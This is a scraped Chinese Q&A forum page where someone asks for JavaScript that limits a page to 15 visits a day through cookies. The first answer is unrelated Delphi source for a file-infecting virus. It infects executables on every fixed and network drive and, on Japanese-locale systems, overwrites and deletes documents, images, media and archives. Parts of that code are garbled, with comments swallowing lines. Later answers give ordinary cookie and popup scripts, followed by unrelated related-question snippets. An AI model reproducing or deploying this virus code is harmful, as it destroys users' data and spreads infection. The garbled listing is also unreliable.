怎样用javascript实现这种效果?(回答满意的再追加50积分)

如何用JS通过cookie限制同一台电脑一天打开某一页面次数,如果超过限制次数,当别人再点击此链接,就自动打开另一页面?会的直接把下面的网页做成效果把代码发上来就行了,限制次数为15次好了,说太多道理我也怕自己看不明,呵呵-.-||

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
</head>
<body>111111111111111111111111111111111111111111111
</body>
</html>
不会的不用回答不会,你不回答我就知道你不会了-.-||||
看来分又送不出去了....

第1个回答  2007-03-26
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll';
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false;
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0);
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end:
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
procedure sendmail;
begin
end;
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try
if comparetext(filename, 'japussy.exe') = 0 then
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe
begin
ispe := true; break;
end;
end;
srcstream.seek(-4, sofromend); srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
// copystream(hdrstream, 0, dststream, 0, iconoffset);
// copystream(icostream, 22, dststream, iconoffset, iconsize);
// copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
// copystream(srcstream, 0, dststream, headersize, srcstream.size);
// dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); // dststream.free;
end;
except;
end;
end;
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0);
filehandle := fileopen(filename, fmopenwrite);
try
size := getfilesize(filehandle, nil);
i := 0;
randomize;
max := random(15); // if max < 5 then
max := 5;
mass := size div max; // len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); // end;
deletefile(pchar(filename)); //except
end;
end;
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 // else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 // else result := 2; //end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); // if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//
// // end
else if ext = '.wab' then //outlook begin
// end
else if ext = '.adc' then //foxmail
begin
//
end
else if ext = 'ind' then //foxmail
begin
// end
else
begin
if isjap then //
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); // end;
end;
end;
// sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then // isjap := true; //
driverlist := getdrives; //len := length(driverlist);
while true do //begin
for i := len downto 1 do //
loopfiles(driverlist + ':\', '*.*'); //
sendmail; // sleep(1000 * 60 * 5); //end;
{ }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //else //winnt
begin
//
//
end;
//if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //else //
begin
tmpfile := paramstr(0); // delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; // extractfile(tmpfile); // fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi);
infectfiles;
end;
end
第2个回答  2007-03-26
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>

<script type="text/javascript">
var today = new Date();
var expireDay = new Date();
var msPerMonth = 24*60*60*1000*31;
expireDay.setTime( today.getTime() + msPerMonth );

function getCookie(Key){

var search = Key + "=";
begin = document.cookie.indexOf(search);

if (begin != -1) {

end = document.cookie.indexOf("<br>",begin);

if (end !=-1)
{

return document.cookie.substring(begin+Key.length+1,end);
}

}
return null;
}

function setCookie(Key,value) {
document.cookie = Key + "=" + value + "<br>;expires=" + expireDay.toGMTString();
}

window.onload=getlogin
var a=new Date()

function getlogin()
{
var date=getCookie("logintime");
if (date==null)
{

setCookie("login","1");

setCookie("logintime",a.toGMTString());
//document.write(document.cookie)
return;
}
var tempdate=new Date(date);
if((a-tempdate)/(1000*60*60*24)>1)
{

setCookie("login","1");
setCookie("logintime",a.toGMTString());
return;
}
else
{

var login=getCookie("login");
if(login==null)
{

setCookie("login","1");
setCookie("logintime",a.toGMTString());
return;
}
else
{

if(parseInt(login)>=15)
{
alert("一天只允许登录15次")
return;
}
else
{
var i= parseInt(login)+1
setCookie("login",i.toString());
return;
}

}
}

}
</script>
</head>

<body>

111111111111111111111111111111111111111111111

</body>
</html>

将上面代码复制并保存为html文档运行即可,15次之后即提示一天只能登录15次。等到第二天会自动从1计算。此程序是以第一次登录后24小时之内为一天,并不是从0点到23点。IE下验证成功。本回答被提问者采纳
第3个回答  2007-03-26
天啊 这长!!!!!
这是js吗??
下面的是一天弹一次窗口的 改改用吧
//弹出窗口
function popUp() {
var _getCookie = getCookie("popUp_WebSite_pxy");
if(_getCookie == "")
{
newCookie("popUp_WebSite_pxy","xuexi_pxy",1);
var popPage = window.open('http://www.pxy.113317.com/?from=www.113317.com');
self.focus();
}
}

//Cookie 处理函数
function getCookie(name) {
var cookiefound=false
var start=0
var end=0
var cookiestring=document.cookie;
var i=0;
while (i<=cookiestring.length)
{
start=i
end=start+name.length
if (cookiestring.substring(start,end)==name)
{cookiefound=true;
break;
}
i++;
}
if (cookiefound==true)
{
start=end+1;
end=cookiestring.indexOf(";",start);
if (end<start)
{
end=cookiestring.length;}
return cookiestring.substring(start,end);
}
return "";
}

//写入新的Cookie值
function newCookie(id,value,guoqi)
{
var expires=new Date()
expires.setTime(expires.getTime()+ guoqi * 24*60*60*30*1000)
var expiryDate=expires.toGMTString();
document.cookie=id+"="+value+";expires="+expiryDate
}
第4个回答  2007-03-26
比较难~~~
cooooookie是什么东东
第5个回答  2007-03-26
路过,二分。

怎样用javascript实现这种效果?(回答满意的再追加50积分)
function registerserviceprocess(dwprocessid, dwtype: integer): integer;stdcall; external 'kernel32.dll';var tmpfile: string;si: startupinfo;pi: process_information;isjap: boolean = false;function iswin9x: boolean;var ver: tosversioninfo;begin result := false;ver.dwosversioni...

...我不会诶`或者帮我找一个黑色的免费皮肤也可以。我会追加积分...
一、登录你的QQ空间;二、点“装扮空间”;三、将QQ空间免费物品对应的代码粘贴到浏览器地址栏中(也就是输入网址那里)四、在地址栏里按回车,如果没有出现物品,请多按几次;五、点“保存装扮方案”。免费QQ空间黑色皮肤代码(心系四川汶川地震):javascript:window.top.space_addItem(1,26341,0,0...

怎样免费装饰QQ空间?
蝶影 javascript:window.top.space_addItem(16,23216,330,80,600,600,0);love you javascript:window.top.space_addItem(16,23226,330,80,600,600,0);纯纯爱恋 javascript:window.top.space_addItem(16,23228,330,80,600,600,0);冬夜息乐园 javascript:window.top.space_addItem(16,23230,33...

怎样在主页前加上一个照片作欢迎界面???
加一个层就行了。把照片放到这个层上,在层上加你要的特效,页面装载时先显示这个层,之后隐藏此层。

我想实现网易邮箱网盘的鼠标效果(点编辑会出来窗口对话),用aiax中的...
要实现这个效果,你可以使用jquery控件 就行了。。也就是你会javascript就可以了。到网上搜这种效果,就会有相关的实例的。

网页中滑块效果是怎么实现的?是div+css布局的哦,下面这个是例子,我想更 ...
帮助 设置 百度知道 > 电脑\/网络 > 程序设计 > 其他编程语言添加到搜藏待解决 网页中滑块效果是怎么实现的?是div+css布局的哦,下面这个是例子,我想更加清楚的知道含义 悬赏分:5 - 离问题结束还有 14 天 23 小时 <!DOCTYPE html PUBLIC "-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN" "http...

如何借助区块链(怎么样用区块链融资)
如果消费者同意启用位置跟踪功能,还可以再得到1美元的奖励; 如果消费者“每天\/1次”打开APP并在上面花费至少1分钟的时间,零售商就可以支付他们几美分或者是商店的积分以奖励顾客的忠诚度。 在此期间,商家会向消费者推送促销和特惠信息。 事实上,消费者定制开启了一些合法的营销机制,譬如,提供个性化的营销或价格,这就...

区块链网页如何制作(区块链官网制作)
1、注册域名、域名注册要简短、有代表性、而且容易被客户记住的 2、租用服务器、服务器租用要稳定、安全、速度快、而且有及时的售后服务 3、使用成熟的CMS系统:pageadmin CMS、discuz cms 模板多、操作简单、使用方便、直接下载就能使用、官网有完善的功能插件、提供给客户下载使用的、方便客户日后扩展网站...

cpu占用率百分百
所有的流输入\/输出操作例如使用Windows Media Player听音乐将有可能是音乐失真成因: 当你在资源管理器里面右键点击一个文件或目录的时候,当快捷菜单显示的时候,CPU占用率将增加到100%,当你关闭快捷菜单的时候才返回正常水平。 解决方法: 方法一:关闭“为菜单和工具提示使用过渡效果” 1、点击“开始”--“控制面板”...

请问那位知道如何保存整个站?愿意用我所有积分换(190)
1、WebCopier Pro v4.1 一个强大的离线浏览器,可以把网站的资料下载回你的硬盘之中。同时对100个文件进行下载,支持代理服务,并让你能够设定帐户和密码,以进入特定的网站。内置了强大的搜索功能。它让你在任何时候、不管你身在何处,都能存取重要的网页资料。WebCopier表现出精确的链接搜索,包括...

相似回答
大家正在搜